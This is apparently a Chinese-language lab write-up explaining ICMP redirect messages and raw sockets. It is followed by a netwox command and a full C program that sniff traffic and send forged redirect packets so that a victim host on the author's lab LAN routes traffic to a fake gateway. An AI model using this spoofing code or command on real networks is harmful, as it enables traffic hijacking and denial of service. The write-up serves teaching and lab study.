一、知識(shí)背景
1.1 icmp重定向報(bào)文
ICMP是控制協(xié)議,主要是因?yàn)镮P協(xié)議有可能出現(xiàn)報(bào)文發(fā)送過程中的錯(cuò)誤。譬如目標(biāo)不可達(dá),TTL過期,需要機(jī)制通知發(fā)送方錯(cuò)誤原因。ICMP使得路由器和主機(jī)可以向發(fā)送方提供錯(cuò)誤或者控制信息。
ICMP報(bào)文可劃分為兩大類:差錯(cuò)報(bào)告報(bào)文(error-reporting messages)和查詢報(bào)文(query messages)。差錯(cuò)報(bào)告報(bào)文報(bào)告了路由器或主機(jī)(終點(diǎn))在處理IP數(shù)據(jù)報(bào)時(shí)可能遇到的問題。查詢報(bào)文總是成雙成對(duì)地出現(xiàn),它幫助主機(jī)或網(wǎng)絡(luò)管理員從某個(gè)路由器或?qū)Ψ街鳈C(jī)那里獲取特定的信息。

可以看到,改變路由(路由重定向)是屬于差錯(cuò)報(bào)告報(bào)文的一種,有多種不同的ICMP報(bào)文,每種報(bào)文都有自己的格式,但是所有的ICMP報(bào)文都有三個(gè)共同的字段(三個(gè)字段共占四個(gè)字節(jié)):
- 類型:占一字節(jié),標(biāo)識(shí)ICMP報(bào)文的類型,目前已定義了14種,從類型值來看ICMP報(bào)文可以分為兩大類。第一類是取值為1~127的差錯(cuò)報(bào)文,第2類是取值128以上的信息報(bào)文。
- 代碼:占一字節(jié),標(biāo)識(shí)對(duì)應(yīng)ICMP報(bào)文的代碼。它與類型字段一起共同標(biāo)識(shí)了ICMP報(bào)文的詳細(xì)類型。
-
校驗(yàn)和:這是對(duì)包括ICMP報(bào)文數(shù)據(jù)部分在內(nèi)的整個(gè)ICMP數(shù)據(jù)報(bào)的校驗(yàn)和,以檢驗(yàn)報(bào)文在傳輸過程中是否出現(xiàn)了差錯(cuò)。其計(jì)算方法與在我們介紹IP報(bào)頭中的校驗(yàn)和計(jì)算方法是一樣的。
icmp報(bào)文一般的格式
雖然改變路由報(bào)文被認(rèn)為是一種差錯(cuò)報(bào)告報(bào)文,但它與其他差錯(cuò)報(bào)文不同口在這種情況下路由器不會(huì)丟棄數(shù)據(jù)報(bào),而是將數(shù)據(jù)報(bào)發(fā)送給合適的路由器。比如下面這種情況:

主機(jī)Host(10.0.0.100)的默認(rèn)網(wǎng)關(guān)為G1(10.0.0.1),他要與Network X通信,G1檢查自己的路由表,發(fā)現(xiàn)要到達(dá)網(wǎng)絡(luò)X,需要經(jīng)過G2(10.0.0.2)。G1會(huì)將數(shù)據(jù)包轉(zhuǎn)發(fā)給G2,同時(shí)發(fā)現(xiàn)數(shù)據(jù)包的源地址Host和G2在同一個(gè)網(wǎng)段上,因此G1會(huì)知道,Host應(yīng)該將到網(wǎng)絡(luò)X的數(shù)據(jù)包直接發(fā)給G2。這樣的話,Host的路由距離會(huì)更短。
所以,G1并不會(huì)丟掉Host報(bào)文,并且繼續(xù)轉(zhuǎn)發(fā)給G2,同時(shí)又給Host發(fā)送一個(gè)重定向報(bào)文,告訴它下次如果再與Network X通信,直接通過G2就好啦。具體的icmp報(bào)文格式如下:

- 代碼0:對(duì)特定網(wǎng)絡(luò)路由的改變
- 代碼1:對(duì)特定主機(jī)路由的改變
- 代碼2:對(duì)于指定服務(wù)類型的對(duì)特定網(wǎng)絡(luò)路由的改變
- 代碼3:對(duì)于指定服務(wù)類型的對(duì)特定主機(jī)路由的改變
在接下來的實(shí)驗(yàn)中,我們將用到代碼3:對(duì)特定主機(jī)的路由改變。
1.2 raw socket編程
要想實(shí)現(xiàn)對(duì)某個(gè)主機(jī)發(fā)送icmp重定向報(bào)文,首先要做的是就是嗅探報(bào)文(sniffer),由上面icmp重定向報(bào)文格式可以看出,icmp重定向報(bào)文還需要攜帶之前收到的IP數(shù)據(jù)報(bào)的一部分(IP首部20字節(jié)及數(shù)據(jù)報(bào)數(shù)據(jù)的前八個(gè)字節(jié))。嗅探的方式可以采用pcap(tcpdump和wireshark采用的方式)或者raw socket。嗅探完成之后可以使用raw socket自己構(gòu)造IP數(shù)據(jù)包然后發(fā)送出去。下面的實(shí)驗(yàn)中,嗅探和構(gòu)造數(shù)據(jù)包都是采用的raw socket。
大家都知道socket編程,其中分為四類,分別是stream(使用TCP)、datagram(UDP)、row(原始套接字)和順序數(shù)據(jù)包(Sequenced Packet)套接字。前兩者使用的較多,而row socket可以讓我們?cè)L問底層協(xié)議。
int socket(int domain, int type, int protocol); //創(chuàng)建raw socket
創(chuàng)建raw socket的方式如上所示,其中:
domain:面向的層次,domain(family)套接字族可以是
AF_INET或AF_PACKET;簡(jiǎn)單來說,使用AF_INET,是面向IP層的原始套接字,可以獲得網(wǎng)絡(luò)層之上的數(shù)據(jù)包;使用AF_PACKET,是面向鏈路層的套接字,可以獲得數(shù)據(jù)鏈路層之上的數(shù)據(jù)包。type:socket類型,我們使用的是
SOCK_RAW。除此之外還有stream(TCP)、Datagram(UDP)和Sequenced Packet(順序數(shù)據(jù)包)protocol:如果想接收所有分組,可以使用
ETH_P_ALL,如果想接收IP分組,可以使用ETH_P_IP;如果使用的是INET類型,則是IPPROTO_TCP、IPPROTO_UDP、IPPROTO_ICMP和IPPROTO_RAW。下面實(shí)驗(yàn)中只需要捕獲icmp分組就可以,所以使用的是IPPROTO_ICMP。
注意:domain也可以是PF_INET或PF_PACKET,在windows中AF_INET與PF_INET完全一樣,出現(xiàn)AF_INET和PF_INET是歷史原因。在網(wǎng)絡(luò)設(shè)計(jì)之初,AF = Address Family,PF = Protocol Family,所以最好在指示地址的時(shí)候使用AF,在指示協(xié)議的時(shí)候使用PF。
domain的參數(shù)我們使用的是AF_INET,如果沒有開啟IP_HDRINCL選項(xiàng),那么內(nèi)核會(huì)幫忙處理IP頭部。如果設(shè)置了IP_HDRINCL選項(xiàng),那么用戶需要自己生成IP頭部的數(shù)據(jù),其中IP首部中的標(biāo)識(shí)字段和校驗(yàn)和字段總是內(nèi)核自己維護(hù)。我們需要自己構(gòu)造IP報(bào)文的首部,所以用以下代碼設(shè)置IP_HDRINCL選項(xiàng):
// 開啟IP_HDRINCL選項(xiàng),手動(dòng)填充IP頭
if(setsockopt(rawsock,SOL_IP,IP_HDRINCL,&on,sizeof(int)) < 0){
printf("set socket option error!\n");
}
在發(fā)送報(bào)文時(shí),使用IPPROTO_RAW來創(chuàng)建socket,需要注意的是使用IPPROTO_RAW新建的套接字只適合發(fā)送,不能接收數(shù)據(jù)包。
if((sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
printf("create sockfd error\n");
exit(-1);
}
二、實(shí)現(xiàn)icmp重定向攻擊
2.1 使用netwox的做法
netwox是一款非常強(qiáng)大和易用的開源工具包,可以創(chuàng)造任意的TCP/UDP/IP數(shù)據(jù)報(bào)文。Netwox工具包中包含了超過200個(gè)不同功能的網(wǎng)絡(luò)報(bào)文生成工具,每個(gè)工具都擁有一個(gè)特定的編號(hào)。適用群體為網(wǎng)絡(luò)管理員和網(wǎng)絡(luò)黑客。
netwox 86的作用是進(jìn)行icmp redirect,但是奇怪的是,使用raw socket攻擊怎么也達(dá)不到它那么好的效果。一旦使用netwox 86 -g -i,那么被攻擊的那臺(tái)機(jī)器便從此再也不能上網(wǎng);但是自己寫的程序只能對(duì)特定的IP有用,也就是偽造的原ip包頭的目標(biāo)地址。
我們要做的事情其實(shí)就是手動(dòng)實(shí)現(xiàn)netwox 86所實(shí)現(xiàn)的功能,所以我們先看一下使用netwox怎么來實(shí)現(xiàn)。
| 主機(jī) | ip |
|---|---|
| 攻擊者主機(jī) | 192.168.8.104 |
| 被攻擊者主機(jī) | 192.168.8.103 |
| 默認(rèn)網(wǎng)關(guān) | 192.168.8.1 |
| 冒充的網(wǎng)關(guān) | 192.168.8.2 |
下面這條指令由192.168.8.104 執(zhí)行,這個(gè)命令代表向同一個(gè)網(wǎng)段廣播ICMP重定向消息,把原本需要經(jīng)過默認(rèn)網(wǎng)關(guān)192.168.8.1轉(zhuǎn)發(fā)的報(bào)文都由冒充的網(wǎng)關(guān)192.168.8.2 來轉(zhuǎn)發(fā),而192.168.8.2并不存在,再ping的時(shí)候會(huì)出現(xiàn)Redirect Host(Net nexthop:192.168.8.2)。
sudo netwox 86 -g "192.168.8.2" --src-ip 192.168.8.1
/*
"192.168.8.2" : fake Gateway
"192.168.8.1" : real Gateway
*/


疑惑點(diǎn):
按理說103主機(jī)被重定向后,ping的消息應(yīng)該是100% packet loss,但是從上面的圖也可以發(fā)現(xiàn),還是都receive了。使用wireshark抓包可以發(fā)現(xiàn),會(huì)有很多Redirect for host報(bào)文,但是還是能夠ping通的。
可能是我的主機(jī)配置有些問題,目前還沒有找到解決方法。下面使用raw socket也只能實(shí)現(xiàn)和netwox相同的效果。
2.2 使用raw socket
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<arpa/inet.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/ip_icmp.h>
#include<netinet/tcp.h>
#include<netinet/udp.h>
/* ============================== sockaddr_in(/usr/include/netinet/in.h)=================================*/
// struct sockaddr_in
// {
// __SOCKADDR_COMMON (sin_);
// in_port_t sin_port; /* Port number. */
// struct in_addr sin_addr; /* Internet address. */
// /* Pad to size of `struct sockaddr'. */
// unsigned char sin_zero[sizeof (struct sockaddr) -
// __SOCKADDR_COMMON_SIZE -
// sizeof (in_port_t) -
// sizeof (struct in_addr)];
// };
/* ============================== 使用os自帶的ip結(jié)構(gòu)體 (/usr/include/netinet/ip.h)=================================*/
// struct ip
// {
// #if __BYTE_ORDER == __LITTLE_ENDIAN
// unsigned int ip_hl:4; /* header length */
// unsigned int ip_v:4; /* version */
// #endif
// #if __BYTE_ORDER == __BIG_ENDIAN
// unsigned int ip_v:4; /* version */
// unsigned int ip_hl:4; /* header length */
// #endif
// u_int8_t ip_tos; /* type of service */
// u_short ip_len; /* total length */
// u_short ip_id; /* identification */
// u_short ip_off; /* fragment offset field */
// #define IP_RF 0x8000 /* reserved fragment flag */
// #define IP_DF 0x4000 /* dont fragment flag */
// #define IP_MF 0x2000 /* more fragments flag */
// #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
// u_int8_t ip_ttl; /* time to live */
// u_int8_t ip_p; /* protocol */
// u_short ip_sum; /* checksum */
// struct in_addr ip_src, ip_dst; /* source and dest address */
// };
/* ============================== 使用os自帶的icmp結(jié)構(gòu)體(/usr/include/netinet/ip_icmp.h) =================================*/
// struct icmp
// {
// u_int8_t icmp_type; /* type of message, see below */
// u_int8_t icmp_code; /* type sub code */
// u_int16_t icmp_cksum; /* ones complement checksum of struct */
// union
// {
// u_char ih_pptr; /* ICMP_PARAMPROB */
// struct in_addr ih_gwaddr; /* gateway address */
// struct ih_idseq /* echo datagram */
// {
// u_int16_t icd_id;
// u_int16_t icd_seq;
// } ih_idseq;
// u_int32_t ih_void;
// /* ICMP_UNREACH_NEEDFRAG -- Path MTU Discovery (RFC1191) */
// struct ih_pmtu
// {
// u_int16_t ipm_void;
// u_int16_t ipm_nextmtu;
// } ih_pmtu;
// struct ih_rtradv
// {
// u_int8_t irt_num_addrs;
// u_int8_t irt_wpa;
// u_int16_t irt_lifetime;
// } ih_rtradv;
// } icmp_hun;
#define BUFFSIZE 1024
struct sockaddr_in target;
struct sockaddr_in source;
/* ip集合 */
const unsigned char *my_IP_src = "192.168.8.1"; // 原網(wǎng)關(guān)
const unsigned char *my_IP_dst = "192.168.8.103"; // 攻擊對(duì)象IP
const unsigned char *fakeGatway = "192.168.8.2"; // 攻擊者IP
// 計(jì)算校驗(yàn)和
unsigned short in_cksum(unsigned short *addr, int len){
int sum=0;
unsigned short res=0;
while( len > 1) {
sum += *addr++;
len -=2;
// printf("sum is %x.\n",sum);
}
if( len == 1) {
*((unsigned char *)(&res))=*((unsigned char *)addr);
sum += res;
}
sum = (sum >>16) + (sum & 0xffff);
sum += (sum >>16) ;
res = ~sum;
return res;
}
int main(){
/* receive var */
int rawsock;
char rec_buff[BUFFSIZE];
int rec_num;
int count = 0;
/* send var */
char send_buff[56]={0};
int sockfd;
const int on = 1;
/* =================== 嗅探部分 ========================= */
rawsock = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);
// rawsock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
// rawsock = socket(AF_INET,SOCK_RAW,IPPROTO_UDP);
// rawsock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
if(rawsock < 0){
printf("raw socket error!\n");
exit(1);
}
// 開啟IP_HDRINCL選項(xiàng),手動(dòng)填充IP頭
if(setsockopt(rawsock,SOL_IP,IP_HDRINCL,&on,sizeof(int)) < 0){
printf("set socket option error!\n");
}
/* =================== 構(gòu)造icmp并發(fā)送 ========================= */
// 創(chuàng)建raw socket
if((sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
printf("create sockfd error\n");
exit(-1);
}
while(1){
// receive number, receive data in rec_buf
rec_num = recvfrom(rawsock,rec_buff,BUFFSIZE,0,NULL,NULL);
if(rec_num < 0){
printf("receive error!\n");
exit(1);
}
/*
* 重定向報(bào)文:IP(20) + ICMP報(bào)文(8+28==>(icmp頭8+原ip28)) = 56
* 原ip28:將收到的需要進(jìn)行差錯(cuò)報(bào)告IP數(shù)據(jù)報(bào)的首部和數(shù)據(jù)字段的前8個(gè)字節(jié)提取出來,作為ICMP報(bào)文的數(shù)據(jù)字段
* 重定向IP頭: task-1
* ICMP報(bào)文頭: task-2
* 原IP: task-3
*/
// rec_buff強(qiáng)制轉(zhuǎn)換為ip類型結(jié)構(gòu)體,把ip類型的結(jié)構(gòu)體指針指向rec_buff
struct ip *ip = (struct ip*)rec_buff;
int head_length = ip->ip_hl * 4;
// task-3: 先把收到的ip報(bào)文的前28個(gè)字節(jié)賦值給sendbuf的后28-56個(gè)字節(jié)
for(int i = 0; i < head_length + 8; i++){
send_buff[28 + i] = rec_buff[i];
}
// 構(gòu)造icmp重定向報(bào)文的源ip地址
if(inet_aton(my_IP_src, &source.sin_addr) == 0){
printf("create source_addr error");
exit(1);
}
// 構(gòu)造icmp重定向報(bào)文的目的地址
if(inet_aton(my_IP_dst, &target.sin_addr) == 0){
printf("create destination_addr error");
exit(1);
}
// task-1: 修改rec_buff的ip報(bào)文段的值
ip->ip_src = source.sin_addr;
ip->ip_dst = target.sin_addr;
ip->ip_len = 56;
ip->ip_id = IP_DF;
ip->ip_off = 0;
ip->ip_ttl = 64;
ip->ip_p = 1;
// 把前20個(gè)字節(jié)寫入sendbuf
for(int i = 0; i < 20; i++){
send_buff[i] = rec_buff[i];
}
// task-2: 把send_buff的20-28字段的icmp報(bào)文首部填好(直接使用sendbuf填值)
struct icmp *icmp = (struct icmp *)(send_buff + 20);
icmp->icmp_type = ICMP_REDIRECT;
icmp->icmp_code = ICMP_REDIR_HOST;
icmp->icmp_cksum = 0;
icmp->icmp_cksum = in_cksum((unsigned short *)icmp,36);
// 構(gòu)造icmp重定向報(bào)文的fake gatway
if(inet_aton(fakeGatway, &icmp->icmp_hun.ih_gwaddr) == 0){
printf("create destination_addr error");
exit(1);
}
count += 1;
// 打印的時(shí)候用
printf("重定向報(bào)文的源地址: %s\n", my_IP_src);
printf("重定向報(bào)文的目的地址: %s\n", my_IP_dst);
printf("重定向報(bào)文的假網(wǎng)關(guān): %s\n", fakeGatway);
// send
sendto(sockfd, &send_buff, 56, 0, (struct sockaddr *)&target, sizeof(target));
printf("====================== already sended %d message ===========================\n", count);
}
}
實(shí)驗(yàn)完整代碼如上所示,代碼并沒有自己定義ip(/usr/include/netinet/ip.h)和icmp(/usr/include/netinet/ip_icmp.h) 結(jié)構(gòu)體,而是使用的os中已經(jīng)定義好的。
上面代碼都通過注釋來解釋了作用,下面列出來幾個(gè)比較重要的,需要注意點(diǎn):
- 自定義的重定向報(bào)文共56個(gè)字節(jié):自定義IP首部(20) + ICMP報(bào)文(8字節(jié)的icmp首部+原始IP的28個(gè)字節(jié))
- task-1: 修改ip報(bào)文段的值,注意重定向報(bào)文時(shí)源網(wǎng)關(guān)發(fā)的
ip->ip_src = source.sin_addr; // 源ip:192.168.8.1 ip->ip_dst = target.sin_addr; // 目的ip:192.168.8.103 ip->ip_len = 56; // 長度56字節(jié) ip->ip_id = IP_DF; //默認(rèn)值即可 ip->ip_off = 0; //偏移量為0 ip->ip_ttl = 64; ip->ip_p = 1;- task-2: 填充icmp報(bào)文首部
struct icmp *icmp = (struct icmp *)(send_buff + 20);就是跳過task-1構(gòu)造好的ip的首部部分,icmp->icmp_cksum = in_cksum((unsigned short *)icmp,36);其中36也是因?yàn)閕cmp校驗(yàn)只需要校驗(yàn)icmp首部8個(gè)字節(jié)+源ip的28個(gè)字節(jié)。- task-3: 把嗅探到的源ip的前28個(gè)字節(jié)直接賦值給sendbuf的后28-56個(gè)字節(jié)
實(shí)驗(yàn)結(jié)果如下:




參考文章:

